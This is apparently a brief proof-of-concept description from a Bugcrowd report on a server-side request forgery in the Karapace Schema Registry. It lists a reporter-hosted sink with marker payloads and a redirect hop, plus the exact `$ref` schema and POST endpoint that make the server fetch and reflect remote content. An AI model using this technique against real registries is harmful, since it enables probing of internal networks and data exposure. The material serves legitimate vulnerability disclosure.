Karapace Schema Registry `$ref` SSRF - reporter-hosted payload sink (Bugcrowd triage PoC)

GET /payload.json  -> 200 {"type":"string","pattern":"SSRF_MARKER_FROM_SINK"}
GET /r1.json       -> 302 Location: /r2.json          (redirect control)
GET /r2.json       -> 200 {"type":"string","pattern":"SSRF_FROM_REDIRECT_HOP2"}
GET /health        -> 200 ok

Point a JSON Schema at any of these:
  {"$ref": "https://karapace-ssrf-poc.moonflare-ai.work/payload.json"}
and POST it to /compatibility/subjects/{subject}/versions/1. The value above comes back in
the response "messages" array - that reflection is the bug. Full steps: report section "PoC".